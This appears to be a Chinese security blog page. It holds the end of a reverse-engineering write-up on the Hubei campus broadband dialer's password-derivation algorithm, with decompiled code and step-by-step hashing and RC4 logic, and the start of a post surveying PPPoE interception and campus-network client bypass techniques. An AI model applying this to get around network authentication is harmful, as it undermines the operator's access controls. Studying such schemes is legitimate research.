v81; // [esp+140h] [ebp-244h] int v82; // [esp+144h] [ebp-240h] int v83; // [esp+148h] [ebp-23Ch] int v84; // [esp+14Ch] [ebp-238h] int v85; // [esp+150h] [ebp-234h] int v86; // [esp+154h] [ebp-230h] int v87; // [esp+158h] [ebp-22Ch] int v88; // [esp+15Ch] [ebp-228h] char hbKey; // [esp+160h] [ebp-224h] char v90; // [esp+161h] [ebp-223h] char hbKeyGa; // [esp+1E4h] [ebp-1A0h] char mem_64_a; // [esp+1E5h] [ebp-19Fh] char hbKeyGb; // [esp+228h] [ebp-15Ch] char mem_64_b; // [esp+229h] [ebp-15Bh] char v95; // [esp+22Fh] [ebp-155h] char v96[4]; // [esp+26Ch] [ebp-118h] char v97[5]; // [esp+270h] [ebp-114h] int v98; // [esp+275h] [ebp-10Fh] int v99; // [esp+279h] [ebp-10Bh] int v100; // [esp+27Dh] [ebp-107h] int v101; // [esp+281h] [ebp-103h] int v102; // [esp+285h] [ebp-FFh] __int16 v103; // [esp+289h] [ebp-FBh] char v104; // [esp+28Bh] [ebp-F9h] char v105[4]; // [esp+28Ch] [ebp-F8h] char v106[5]; // [esp+290h] [ebp-F4h] int v107; // [esp+295h] [ebp-EFh] int v108; // [esp+299h] [ebp-EBh] int v109; // [esp+29Dh] [ebp-E7h] int v110; // [esp+2A1h] [ebp-E3h] int v111; // [esp+2A5h] [ebp-DFh] __int16 v112; // [esp+2A9h] [ebp-DBh] char v113; // [esp+2ABh] [ebp-D9h] char v114[4]; // [esp+2ACh] [ebp-D8h] char v115[5]; // [esp+2B0h] [ebp-D4h] int v116; // [esp+2B5h] [ebp-CFh] int v117; // [esp+2B9h] [ebp-CBh] int v118; // [esp+2BDh] [ebp-C7h] int v119; // [esp+2C1h] [ebp-C3h] int v120; // [esp+2C5h] [ebp-BFh] __int16 v121; // [esp+2C9h] [ebp-BBh] char v122; // [esp+2CBh] [ebp-B9h] char v123[4]; // [esp+2CCh] [ebp-B8h] char v124[5]; // [esp+2D0h] [ebp-B4h] int v125; // [esp+2D5h] [ebp-AFh] int v126; // [esp+2D9h] [ebp-ABh] int v127; // [esp+2DDh] [ebp-A7h] int v128; // [esp+2E1h] [ebp-A3h] int v129; // [esp+2E5h] [ebp-9Fh] __int16 v130; // [esp+2E9h] [ebp-9Bh] char v131; // [esp+2EBh] [ebp-99h] char char_array_29_2[29]; // [esp+2ECh] [ebp-98h] __int16 v133; // [esp+309h] [ebp-7Bh] char v134; // [esp+30Bh] [ebp-79h] char char_array_29_1[29]; // [esp+30Ch] [ebp-78h] __int16 v136; // [esp+329h] [ebp-5Bh] char v137; // [esp+32Bh] [ebp-59h] char char_array_29_3[29]; // [esp+32Ch] [ebp-58h] __int16 v139; // [esp+349h] [ebp-3Bh] char v140; // [esp+34Bh] [ebp-39h] char char_array_29_4[29]; // [esp+34Ch] [ebp-38h] __int16 v142; // [esp+369h] [ebp-1Bh] char v143; // [esp+36Bh] [ebp-19h] char month_day; // [esp+36Ch] [ebp-18h] int v145; // [esp+36Dh] [ebp-17h] int v146; // [esp+380h] [ebp-4h] pThis = this; v41 = 0; v146 = 0; username = 0; v40 = sub_421680(\u0026#34;@hbxy\u0026#34;, 0); if ( v40 != -1 ) { v33 = sub_421630((int)\u0026amp;v11, 0, v40); std::basic_string\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;,std::allocator\u0026lt;char\u0026gt;\u0026gt;::operator=(v33); std::basic_string\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;,std::allocator\u0026lt;char\u0026gt;\u0026gt;::~basic_string\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;,std::allocator\u0026lt;char\u0026gt;\u0026gt;(\u0026amp;v11); } username = (const char *)get_username(\u0026amp;a3); userName = username; v25 = username + 1; userName += strlen(userName); v24 = ++userName - (username + 1); lenUsername = userName - (username + 1); month_day = 0; v145 = 0; strftime(\u0026amp;month_day, 5u, \u0026#34;%m%d\u0026#34;, (const struct tm *)(pThis + 8)); monthDay = \u0026amp;month_day; v23 = \u0026amp;v145; monthDay += strlen(monthDay); v21 = ++monthDay - (char *)\u0026amp;v145; lenMonthDay = monthDay - (char *)\u0026amp;v145; (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))(pThis, \u0026#34;\u0026gt;\u0026gt;\u0026gt; GetHBKey: %s \u0026gt;\u0026gt;\u0026gt;\u0026#34;, \u0026amp;month_day); v18 = 1; SizeInBytes = lenMonthDay + lenUsername + 2; mem_17 = (char *)malloc(SizeInBytes); DstBuf = mem_17; memset(mem_17, 0, SizeInBytes); sprintf_s(DstBuf, SizeInBytes, \u0026#34;%c%s%s\u0026#34;, pThis[4], username, \u0026amp;month_day);// \u0026#34;b177628979080516\u0026#34; bUsernameMonthDay = DstBuf; v16 = DstBuf + 1; bUsernameMonthDay += strlen(bUsernameMonthDay); len_bUsernameMonthDay = ++bUsernameMonthDay - (DstBuf + 1); md5_bUsernameMonthDay = md5_StrWithLength(DstBuf, bUsernameMonthDay - (DstBuf + 1));// 5e64fdaa6449e2abb9693f2757c11652 (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))( pThis, \u0026#34;[HBKEY] mdata1: %s [%s]\u0026#34;, DstBuf, md5_bUsernameMonthDay); memset(DstBuf, 0, SizeInBytes); sprintf_s(DstBuf, SizeInBytes, \u0026#34;%s%c%s\u0026#34;, username, pThis[4], \u0026amp;month_day);// \u0026#34;17762897908b0516\u0026#34; username_b_MonthDay = DstBuf; v14 = DstBuf + 1; username_b_MonthDay += strlen(username_b_MonthDay); len_username_b_MonthDay = ++username_b_MonthDay - (DstBuf + 1); md5_username_b_MonthDay = (_DWORD *)md5_StrWithLength(DstBuf, username_b_MonthDay - (DstBuf + 1));// 16dffe496172e2fb1bdb9b2002bfb5a5 (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))( pThis, \u0026#34;[HBKEY] mdata2: %s [%s]\u0026#34;, DstBuf, md5_username_b_MonthDay); memset(DstBuf, 0, SizeInBytes); sprintf_s(DstBuf, SizeInBytes, \u0026#34;%s%s%c\u0026#34;, username, \u0026amp;month_day, pThis[4]);// \u0026#34;177628979080516b\u0026#34; username_MonthDay_b = DstBuf; v12 = DstBuf + 1; username_MonthDay_b += strlen(username_MonthDay_b); len_username_MonthDay_b = ++username_MonthDay_b - (DstBuf + 1); md5_username_MonthDay_b = (_DWORD *)md5_StrWithLength(DstBuf, username_MonthDay_b - (DstBuf + 1));// 6614da7943beed0e7baafc0be7fb624c (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))( pThis, \u0026#34;[HBKEY] mdata3: %s [%s]\u0026#34;, DstBuf, md5_username_MonthDay_b); memset(DstBuf, 0, SizeInBytes); sprintf_s(DstBuf, SizeInBytes, \u0026#34;%s%s%c\u0026#34;, \u0026amp;month_day, username, pThis[4]);// \u0026#34;051617762897908b\u0026#34; monthDay_Username_b = DstBuf; v37 = DstBuf + 1; monthDay_Username_b += strlen(monthDay_Username_b); len_monthDay_Username_b = ++monthDay_Username_b - (DstBuf + 1); md5_monthDay_Username_b = (_DWORD *)md5_StrWithLength(DstBuf, monthDay_Username_b - (DstBuf + 1));// 2b28feebb48c0cb98b9f3da404fff646 (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))( pThis, \u0026#34;[HBKEY] mdata4: %s [%s]\u0026#34;, DstBuf, md5_monthDay_Username_b); md5_1 = 0; md5_2 = 0; md5_3 = 0; md5_4 = 0; if ( *(char *)(md5_bUsernameMonthDay + 1) % 2 ) { md5_1 = md5_bUsernameMonthDay; md5_2 = md5_username_MonthDay_b; md5_3 = md5_username_b_MonthDay; md5_4 = md5_monthDay_Username_b; } else { md5_1 = md5_bUsernameMonthDay; md5_2 = md5_monthDay_Username_b; md5_3 = md5_username_b_MonthDay; md5_4 = md5_username_MonthDay_b; } hbKeyGa = 0; memset(\u0026amp;mem_64_a, 0, 0x40u); md5_1_pLus3remainder4 = *(char *)(md5_1 + 3) % 4; // 以下一连串的赋值是使 char_array_29_1 = md5_1, char_array_29_2 = md5_2 char_array_29_1[0] = 0; *(_DWORD *)\u0026amp;char_array_29_1[1] = 0; *(_DWORD *)\u0026amp;char_array_29_1[5] = 0; *(_DWORD *)\u0026amp;char_array_29_1[9] = 0; *(_DWORD *)\u0026amp;char_array_29_1[13] = 0; *(_DWORD *)\u0026amp;char_array_29_1[17] = 0; *(_DWORD *)\u0026amp;char_array_29_1[21] = 0; *(_DWORD *)\u0026amp;char_array_29_1[25] = 0; v136 = 0; v137 = 0; char_array_29_2[0] = 0; *(_DWORD *)\u0026amp;char_array_29_2[1] = 0; *(_DWORD *)\u0026amp;char_array_29_2[5] = 0; *(_DWORD *)\u0026amp;char_array_29_2[9] = 0; *(_DWORD *)\u0026amp;char_array_29_2[13] = 0; *(_DWORD *)\u0026amp;char_array_29_2[17] = 0; *(_DWORD *)\u0026amp;char_array_29_2[21] = 0; *(_DWORD *)\u0026amp;char_array_29_2[25] = 0; v133 = 0; v134 = 0; *(_DWORD *)char_array_29_1 = *(_DWORD *)md5_1; *(_DWORD *)\u0026amp;char_array_29_1[4] = *(_DWORD *)(md5_1 + 4); *(_DWORD *)\u0026amp;char_array_29_1[8] = *(_DWORD *)(md5_1 + 8); *(_DWORD *)\u0026amp;char_array_29_1[12] = *(_DWORD *)(md5_1 + 12); *(_DWORD *)\u0026amp;char_array_29_1[16] = *(_DWORD *)(md5_1 + 16); *(_DWORD *)\u0026amp;char_array_29_1[20] = *(_DWORD *)(md5_1 + 20); *(_DWORD *)\u0026amp;char_array_29_1[24] = *(_DWORD *)(md5_1 + 24); *(_DWORD *)\u0026amp;char_array_29_1[28] = *(_DWORD *)(md5_1 + 28); *(_DWORD *)char_array_29_2 = *md5_2; *(_DWORD *)\u0026amp;char_array_29_2[4] = md5_2[1]; *(_DWORD *)\u0026amp;char_array_29_2[8] = md5_2[2]; *(_DWORD *)\u0026amp;char_array_29_2[12] = md5_2[3]; *(_DWORD *)\u0026amp;char_array_29_2[16] = md5_2[4]; *(_DWORD *)\u0026amp;char_array_29_2[20] = md5_2[5]; *(_DWORD *)\u0026amp;char_array_29_2[24] = md5_2[6]; *(_DWORD *)\u0026amp;char_array_29_2[28] = md5_2[7]; v81 = md5_1_pLus3remainder4; // 0 v82 = abs(md5_1_pLus3remainder4 - 5) % 4; // 1 v8 = (md5_1_pLus3remainder4 + 2) % 4; // 2 v83 = (md5_1_pLus3remainder4 + 2) % 4; // 2 v84 = abs(md5_1_pLus3remainder4 - 3); // 3 v96[0] = 0; *(_DWORD *)\u0026amp;v96[1] = 0; *(_DWORD *)\u0026amp;v97[1] = 0; v98 = 0; v99 = 0; v100 = 0; v101 = 0; v102 = 0; v103 = 0; v104 = 0; v105[0] = 0; *(_DWORD *)\u0026amp;v105[1] = 0; *(_DWORD *)\u0026amp;v106[1] = 0; v107 = 0; v108 = 0; v109 = 0; v110 = 0; v111 = 0; v112 = 0; v113 = 0; *(_DWORD *)v96 = *(_DWORD *)\u0026amp;char_array_29_1[8 * md5_1_pLus3remainder4]; *(_DWORD *)v97 = *(_DWORD *)\u0026amp;char_array_29_1[8 * md5_1_pLus3remainder4 + 4]; *(_DWORD *)\u0026amp;v97[4] = *(_DWORD *)\u0026amp;char_array_29_2[8 * v82]; *(int *)((char *)\u0026amp;v98 + 3) = *(_DWORD *)\u0026amp;char_array_29_2[8 * v82 + 4]; *(int *)((char *)\u0026amp;v99 + 3) = *(_DWORD *)\u0026amp;char_array_29_1[8 * v8]; *(int *)((char *)\u0026amp;v100 + 3) = *(_DWORD *)\u0026amp;char_array_29_1[8 * v8 + 4]; *(int *)((char *)\u0026amp;v101 + 3) = *(_DWORD *)\u0026amp;char_array_29_2[8 * v84]; *(int *)((char *)\u0026amp;v102 + 3) = *(_DWORD *)\u0026amp;char_array_29_2[8 * v84 + 4]; *(_DWORD *)v105 = *(_DWORD *)\u0026amp;char_array_29_2[8 * md5_1_pLus3remainder4]; *(_DWORD *)v106 = *(_DWORD *)\u0026amp;char_array_29_2[8 * md5_1_pLus3remainder4 + 4]; *(_DWORD *)\u0026amp;v106[4] = *(_DWORD *)\u0026amp;char_array_29_1[8 * v82]; *(int *)((char *)\u0026amp;v107 + 3) = *(_DWORD *)\u0026amp;char_array_29_1[8 * v82 + 4]; *(int *)((char *)\u0026amp;v108 + 3) = *(_DWORD *)\u0026amp;char_array_29_2[8 * v8]; *(int *)((char *)\u0026amp;v109 + 3) = *(_DWORD *)\u0026amp;char_array_29_2[8 * v8 + 4]; *(int *)((char *)\u0026amp;v110 + 3) = *(_DWORD *)\u0026amp;char_array_29_1[8 * v84]; *(int *)((char *)\u0026amp;v111 + 3) = *(_DWORD *)\u0026amp;char_array_29_1[8 * v84 + 4]; mix_md5_1 = (void *)md5_StrWithLength(v96, 32);// 第一个参数 5e64fdaa43beed0eb9693f27e7fb624c6614da796449e2ab7baafc0b57c11652 // 返回值 5008ef506febfc228802dd43b99c1869 // 为 5e64fdaa43beed0eb9693f27e7fb624c 的 md5 mix_md5_2 = (void *)md5_StrWithLength(v105, 32);// 第一个参数 6614da796449e2ab7baafc0b57c11652 // 返回值 46e4a9da513469a20da82e3136f46951 sprintf_s(\u0026amp;hbKeyGa, 0x41u, \u0026#34;%s%s\u0026#34;, mix_md5_1, mix_md5_2);// hbKeyGa = \u0026#34;5008ef506febfc228802dd43b99c186946e4a9da513469a20da82e3136f46951\u0026#34; lp_mix_md5_1 = mix_md5_1; j_j___free_base(mix_md5_1); if ( lp_mix_md5_1 ) { mix_md5_1 = (void *)33059; v35 = 33059; } else { v35 = 0; } v44 = mix_md5_2; j_j___free_base(mix_md5_2); if ( v44 ) { mix_md5_2 = (void *)33059; v34 = 33059; } else { v34 = 0; } (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))(pThis, \u0026#34;[HBKEY] ga: %s\u0026#34;, \u0026amp;hbKeyGa); hbKeyGb = 0; memset(\u0026amp;mem_64_b, 0, 0x40u); md5_4_plus5remainer4 = *((char *)md5_4 + 5) % 4; // 以下一连串的赋值是使 char_array_29_3 = md5_3, char_array_29_4 = md5_4 char_array_29_3[0] = 0; *(_DWORD *)\u0026amp;char_array_29_3[1] = 0; *(_DWORD *)\u0026amp;char_array_29_3[5] = 0; *(_DWORD *)\u0026amp;char_array_29_3[9] = 0; *(_DWORD *)\u0026amp;char_array_29_3[13] = 0; *(_DWORD *)\u0026amp;char_array_29_3[17] = 0; *(_DWORD *)\u0026amp;char_array_29_3[21] = 0; *(_DWORD *)\u0026amp;char_array_29_3[25] = 0; v139 = 0; v140 = 0; char_array_29_4[0] = 0; *(_DWORD *)\u0026amp;char_array_29_4[1] = 0; *(_DWORD *)\u0026amp;char_array_29_4[5] = 0; *(_DWORD *)\u0026amp;char_array_29_4[9] = 0; *(_DWORD *)\u0026amp;char_array_29_4[13] = 0; *(_DWORD *)\u0026amp;char_array_29_4[17] = 0; *(_DWORD *)\u0026amp;char_array_29_4[21] = 0; *(_DWORD *)\u0026amp;char_array_29_4[25] = 0; v142 = 0; v143 = 0; *(_DWORD *)char_array_29_3 = *md5_3; *(_DWORD *)\u0026amp;char_array_29_3[4] = md5_3[1]; *(_DWORD *)\u0026amp;char_array_29_3[8] = md5_3[2]; *(_DWORD *)\u0026amp;char_array_29_3[12] = md5_3[3]; *(_DWORD *)\u0026amp;char_array_29_3[16] = md5_3[4]; *(_DWORD *)\u0026amp;char_array_29_3[20] = md5_3[5]; *(_DWORD *)\u0026amp;char_array_29_3[24] = md5_3[6]; *(_DWORD *)\u0026amp;char_array_29_3[28] = md5_3[7]; *(_DWORD *)char_array_29_4 = *md5_4; *(_DWORD *)\u0026amp;char_array_29_4[4] = md5_4[1]; *(_DWORD *)\u0026amp;char_array_29_4[8] = md5_4[2]; *(_DWORD *)\u0026amp;char_array_29_4[12] = md5_4[3]; *(_DWORD *)\u0026amp;char_array_29_4[16] = md5_4[4]; *(_DWORD *)\u0026amp;char_array_29_4[20] = md5_4[5]; *(_DWORD *)\u0026amp;char_array_29_4[24] = md5_4[6]; *(_DWORD *)\u0026amp;char_array_29_4[28] = md5_4[7]; v85 = md5_4_plus5remainer4; // 1 v86 = abs(md5_4_plus5remainer4 - 5) % 4; // 0 v9 = (md5_4_plus5remainer4 + 2) % 4; // 3 v87 = (md5_4_plus5remainer4 + 2) % 4; // 3 v88 = abs(md5_4_plus5remainer4 - 3); // 2 v114[0] = 0; *(_DWORD *)\u0026amp;v114[1] = 0; *(_DWORD *)\u0026amp;v115[1] = 0; v116 = 0; v117 = 0; v118 = 0; v119 = 0; v120 = 0; v121 = 0; v122 = 0; v123[0] = 0; *(_DWORD *)\u0026amp;v123[1] = 0; *(_DWORD *)\u0026amp;v124[1] = 0; v125 = 0; v126 = 0; v127 = 0; v128 = 0; v129 = 0; v130 = 0; v131 = 0; *(_DWORD *)v114 = *(_DWORD *)\u0026amp;char_array_29_3[8 * md5_4_plus5remainer4]; *(_DWORD *)v115 = *(_DWORD *)\u0026amp;char_array_29_3[8 * md5_4_plus5remainer4 + 4]; *(_DWORD *)\u0026amp;v115[4] = *(_DWORD *)\u0026amp;char_array_29_4[8 * v86]; *(int *)((char *)\u0026amp;v116 + 3) = *(_DWORD *)\u0026amp;char_array_29_4[8 * v86 + 4]; *(int *)((char *)\u0026amp;v117 + 3) = *(_DWORD *)\u0026amp;char_array_29_3[8 * v9]; *(int *)((char *)\u0026amp;v118 + 3) = *(_DWORD *)\u0026amp;char_array_29_3[8 * v9 + 4]; *(int *)((char *)\u0026amp;v119 + 3) = *(_DWORD *)\u0026amp;char_array_29_4[8 * v88]; *(int *)((char *)\u0026amp;v120 + 3) = *(_DWORD *)\u0026amp;char_array_29_4[8 * v88 + 4]; *(_DWORD *)v123 = *(_DWORD *)\u0026amp;char_array_29_4[8 * md5_4_plus5remainer4]; *(_DWORD *)v124 = *(_DWORD *)\u0026amp;char_array_29_4[8 * md5_4_plus5remainer4 + 4]; *(_DWORD *)\u0026amp;v124[4] = *(_DWORD *)\u0026amp;char_array_29_3[8 * v86]; *(int *)((char *)\u0026amp;v125 + 3) = *(_DWORD *)\u0026amp;char_array_29_3[8 * v86 + 4]; *(int *)((char *)\u0026amp;v126 + 3) = *(_DWORD *)\u0026amp;char_array_29_4[8 * v9]; *(int *)((char *)\u0026amp;v127 + 3) = *(_DWORD *)\u0026amp;char_array_29_4[8 * v9 + 4]; *(int *)((char *)\u0026amp;v128 + 3) = *(_DWORD *)\u0026amp;char_array_29_3[8 * v88]; *(int *)((char *)\u0026amp;v129 + 3) = *(_DWORD *)\u0026amp;char_array_29_3[8 * v88 + 4]; v58 = (void *)md5_StrWithLength(v114, 32); // 返回值 1ed63dc9a269d8705e297c03dcda7cf0 // 为 6172e2fb2b28feeb02bfb5a58b9f3da4 的 md5 v57 = (void *)md5_StrWithLength(v123, 32); // 返回值 25928da86463ce9beba8110d2d514464 // 为 b48c0cb916dffe4904fff6461bdb9b20 的 md5 sprintf_s(\u0026amp;hbKeyGb, 0x41u, \u0026#34;%s%s\u0026#34;, v58, v57); // hbKeyGb = \u0026#34;1ed63dc9a269d8705e297c03dcda7cf025928da86463ce9beba8110d2d514464\u0026#34; v43 = v58; j_j___free_base(v58); if ( v43 ) { v58 = (void *)33059; v22 = 33059; } else { v22 = 0; } v42 = v57; j_j___free_base(v57); if ( v42 ) { v57 = (void *)33059; v32 = 33059; } else { v32 = 0; } (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))(pThis, \u0026#34;[HBKEY] gb: %s\u0026#34;, \u0026amp;hbKeyGb); if ( v95 % 2 ) // 从反汇编中可看到 v95 为 hbkey_gb[7] { temp1 = 0; p_HbKeyGa = \u0026amp;hbKeyGa; pMem_64_a = \u0026amp;mem_64_a; p_HbKeyGa += strlen(p_HbKeyGa); lenHbKeyGa = ++p_HbKeyGa - \u0026amp;mem_64_a; len_HbKeyGa = p_HbKeyGa - \u0026amp;mem_64_a; while ( temp1 \u0026lt; len_HbKeyGa ) // 把 HbKeyGa 里面的小写字母全替换为大写 { if ( *(\u0026amp;hbKeyGa + temp1) \u0026gt;= 97 \u0026amp;\u0026amp; *(\u0026amp;hbKeyGa + temp1) \u0026lt;= 122 ) *(\u0026amp;hbKeyGa + temp1) -= 32; ++temp1; } } else { temp2 = 0; p_HbKeyGb = \u0026amp;hbKeyGb; pMem_64_b = \u0026amp;mem_64_b; p_HbKeyGb += strlen(p_HbKeyGb); lenHbKeyGb = ++p_HbKeyGb - \u0026amp;mem_64_b; len_HbKeyGb = p_HbKeyGb - \u0026amp;mem_64_b; while ( temp2 \u0026lt; len_HbKeyGb ) // 把 HbKeyGb 里面的小写字母全替换为大写 { if ( *(\u0026amp;hbKeyGb + temp2) \u0026gt;= 97 \u0026amp;\u0026amp; *(\u0026amp;hbKeyGb + temp2) \u0026lt;= 122 ) *(\u0026amp;hbKeyGb + temp2) -= 32; ++temp2; } } pHbKeyGa = \u0026amp;hbKeyGa; pHbKeyGb = \u0026amp;hbKeyGb; (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))(pThis, \u0026#34;[HBKEY] sga: %s\u0026#34;, \u0026amp;hbKeyGa); (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))(pThis, \u0026#34;[HBKEY] sgb: %s\u0026#34;, pHbKeyGb); hbKey = 0; memset(\u0026amp;v90, 0, 0x80u); if ( pHbKeyGb[9] % 2 ) { index1 = 0; index2 = 0; index3 = 63; while ( index1 \u0026lt; 128 ) { *(\u0026amp;hbKey + index1++) = pHbKeyGa[index2++]; *(\u0026amp;hbKey + index1++) = pHbKeyGb[index3--]; } } else { index4 = 0; index5 = 63; index6 = 0; while ( index4 \u0026lt; 128 ) { *(\u0026amp;hbKey + index4++) = pHbKeyGa[index5--]; *(\u0026amp;hbKey + index4++) = pHbKeyGb[index6++]; } } (*(void (**)(char *, const char *, ...))(*(_DWORD *)pThis + 4))(pThis, \u0026#34;[HBKEY] key: %s\u0026#34;, \u0026amp;hbKey);// hbKey = \u0026amp;\u0026#34;115e9d6643Fd6c391a32E6298dA8D70025Ae9269473c1053AdDc9dAa47Ec6f4092658912C89d9aB83644D6D32c0e898b2e2bCaF8B1E1F06d025dF5E184040654\u0026#34; sub_40EC40((void *)a2, \u0026amp;hbKey); v41 |= 1u; v146 = -1; std::basic_string\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;,std::allocator\u0026lt;char\u0026gt;\u0026gt;::~basic_string\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;,std::allocator\u0026lt;char\u0026gt;\u0026gt;(\u0026amp;a3); return a2; } 上面的就是 AidcRes.generateKey 的整个流程，这个坑多并且复杂，简要说一下，具体看代码（b_Username_MonthDay 代指 \u0026lsquo;b177111122220517\u0026rsquo;，不再赘述）\n算出 b_Username_MonthDay，username_b_MonthDay，username_MonthDay_b，monthDay_Username_b 四个东西的 md5 根据 d5_b_Username_MonthDay[1] 的 ascii的奇偶性，重排四个 md5 的顺序并复制给四个变量，分别为 md5_1，md5_2，md5_3，md5_4， 此时会用到第二步的四个变量，根据他们的特定位来计算得出 hbkey_ga 与 hbkey_gb 的值 根据 md5_1_pLus3remainder4 = *(char *)(md5_1 + 3) % 4; 这步的值取 md5_1 和 md5_2 排列算出 hbkey_ga 根据 md5_4_plus5remainer4 = *((char *)md5_4 + 5) % 4; 这步的值取 md5_3 和 md5_4 排列算出 hbkey_gb 根据 hbkey_gb[7] 的 ascii，如果奇数就把 hbkey_ga 中的字母都大写，偶数就把 hbkey_gb 中的字母都大写 根据 hbkey_gb[9] 的 ascii 的奇偶性对 hbkey_ga 与 hbkey_gb 的值用简单算法进行重排，得到真实的 hbkey 这就是上面所有代码的大致流程，代码中我也有大量注释，大家可以看看。\n总结 这个难点在分析算法上面，分析算法主要还是要靠动态调试，过程中遇到了很多很难的地方，参数和函数的重命名主要还是靠动态调试， 然后去猜测它的作用进行重命名。\n这些文件我都保存了分析记录，大家可以跟着看看，总结如下\nAidcComm.idb 看导出表可以看出是干嘛的，直接点进GetPWD即可看到我的分析 AidcRes.idb 里面也有我的分析，具体查看我改过的函数名 generateKey，然后 x 一下看调用地方 x32dbg_AidcRes.dd32 为我在用 x32dbg 分析AidcRes.exe的时候的记录，有一些我改过的函数名以及简要分析 简单的分析流程为 bp LoadLibrary，断到 AidcComm.dll，然后具体看eax和栈的变化，找到加密函数，再一层一层分析。\n建议 ida 与 x32dbg 结合分析，最好起个 pppoe 服务器拦截账号密码协助分析，见我上一篇文章 PPPoE中间人拦截以及校园网突破漫谈中的代码。\n调用流程为 AidcRes.generateKey(分析大头) \u0026ndash;\u0026gt; AidcComm.GetRegularAccount \u0026ndash;\u0026gt; AidcComm.GetPWD \u0026ndash;\u0026gt; AidcComm.encryptPwdWithKey(分析大头，注意里面有个地方 f5 显示不出来，就是把一个key中的字母全大写的那部分，请结合汇编分析)\nAidcRes.generateKey大致流程，这个坑多并且复杂，简要说一下，具体看代码 （b_Username_MonthDay 代指 \u0026lsquo;b177111122220517\u0026rsquo;，不再赘述）\n算出 b_Username_MonthDay，username_b_MonthDay，username_MonthDay_b，monthDay_Username_b 四个东西的 md5 根据 d5_b_Username_MonthDay[1] 的 ascii的奇偶性，重排四个 md5 的顺序并复制给四个变量 此时会用到第二步的四个变量，根据他们的特定位来计算得出 hbkey_ga 与 hbkey_gb 的值 根据 hbkey_gb[7] 的 ascii，如果奇数就把 hbkey_ga 中的字母都大写，偶数就把 hbkey_gb 中的字母都大写 根据 hbkey_gb[9] 的 ascii 的奇偶性对 hbkey_ga 与 hbkey_gb 的值用简单算法进行重排，得到真实的 hbkey AidcComm.encryptPwdWithKey大致流程\npassword 用 key RC4 一下得到 A 把 A md5 一下得到 B，如果第 11 位为奇数，取 B 的前 16 位，偶数就后 16 位，得到 C C 再用 key RC4 一下得到 D D 再 md5 一下，取 [8:24]得到 E E[今天几号日期 % 16] 替换为 \u0026lsquo;b\u0026rsquo; 得到最后的密码 为了防止被商业利用，就不公开逆向得出的加密脚本了，喜欢折腾校园网的可以自行根据本文摸索。\n分析文件打包 飞Young宽带_带分析.7z ","permalink":"https://www.hacktech.cn/post/2019/05/re-hubei-feiyoung-pc-version/","summary":"\u003ch1 id=\"湖北校园网pc端拨号算法逆向\"\u003e湖北校园网PC端拨号算法逆向\u003c/h1\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e上一文 \u003ca href=\"https://www.anquanke.com/post/id/178484\"\u003ePPPoE中间人拦截以及校园网突破漫谈\u003c/a\u003e我们谈到使用 PPPoE 拦截来获取真实的账号密码。\u003cbr\u003e\n在这个的基础上，我对我们湖北的客户端进行了逆向，得到了拨号加密算法。\u003c/p\u003e","title":"湖北校园网PC端拨号算法逆向"},{"content":" 本文首发于PPPoE中间人拦截以及校园网突破漫谈，转载请注明出处。\nPPPoE中间人拦截以及校园网突破漫谈 校园生活快结束了，之前还有点未完成的想法，趁着这两天有兴趣搞搞。\n此文面向大众是那种在校园内苦受拨号客户端的毒害，但是又想自己动手折腾下的。\n一些我知道的办法 目前主要的方法可以可以分为移动端和电脑客户端。\n移动端 移动端基本是基于 http 的 portal 认证，这个解决方法比较多，但依据剧情情况而定。\n比如拨号后克隆 mac 到路由器，还有基于这个方法的衍生方法，比如拨号前交换机，登陆后改路由器并复制 mac 到路由器。还有比如虚拟路由转发。\n这些其实都是利用的检测的原理，按道理说，portal 并不像 PPPoE 那样，PPPoE 中间是不允许有路由节点的，因为在 PADI 广播包是本地广播，本地广播路由器不会进行转发，所以并不能找到一个目的 PPPoE Server。\n这里扯远了，关于 PPPoE 下面再说。\n我们接着看看 portal，这个是基于 HTTP 的，大体上的流程是\n访问一个 http 网站，比如 http://www.qq.com，因为网关会拦截 http 请求然后重定向到一个形如 http://58.53.199.144:8001/?userip=100.64.224.167\u0026amp;wlanacname=\u0026amp;nasip=58.50.189.124\u0026amp;usermac=1c-87-2c-77-77-9c 的网址。 此时 app 会解析信息，比如 ip，mac。检测的地方就是在这里，比如检测你的手机 ip 是否和 userip 相同，加入你在路由器下，你的 ip 应该是形如 192.168.x.x 的地址，你的路由器的 wan ip 才是 和 userip 相同，还可能会进行比如 mac 判断，还可能检查 arp 表，至于这两样是怎样检测的我按下不表，总而言之，这里通不过检测，app 就判定你的网络环境不对。 然后 app 会将账号或密码进行加密，然后 post 到认证服务器，认证通过后，你这个 ip 就可以上网了。 先说说为什么克隆 mac 有用，因为认证服务器那边是根据 mac 判定的，相同的 mac 在短时间内会获取到同样的 ip，并且短暂时间的断网也是允许的。其他衍生方法原理类似。\n再来说说还有哪些办法，这些办法可能并没有之前的好操作。\n比如 hook 判定函数\n还有比如改 Response（这个办法是前阵子的思路，还没实践是否可行，既然判断参数取自响应包，那么我们应该能想到这个）\n我前阵子用的比较多的其实是直接逆向 app 获取加密流程然后自写协议，但是现在看来可能是最费时费力的一种了，不过有一种好处，一个产品大概率是不会换加密算法的，顶多可能改改密钥，截取加密后的某一段。\n这些大致上就是我所知道的几种移动端上面的方法了。\n电脑端 电脑端方面老陈的文章已经写的很全面了，见 How To : 从Netkeeper 4.X客户端获取真实账号\n这里面提到了我们可以下手的三个方面\n客户端本身 比如 hook RasDialW api 和 CE 暴搜。\n但是就如文章中所说，加了保护，可能是自行实现 peloader 也说不定，反正就是相当于没走系统的 api，而是自行搞了一份来进行拨号，这样就没办法通过 hook 系统 api 来获取了。另外暴搜内存也有局限。\n拿我们湖北的举例子，湖北的客户端是动态加载一个 dll 来进行账号密码加密，但是这个过程很快，这个客户端主要的操作都貌似是在 dll 中完成，这里我说的快是指，他加载 dll 完成加密然后可能 又调用了它的其他 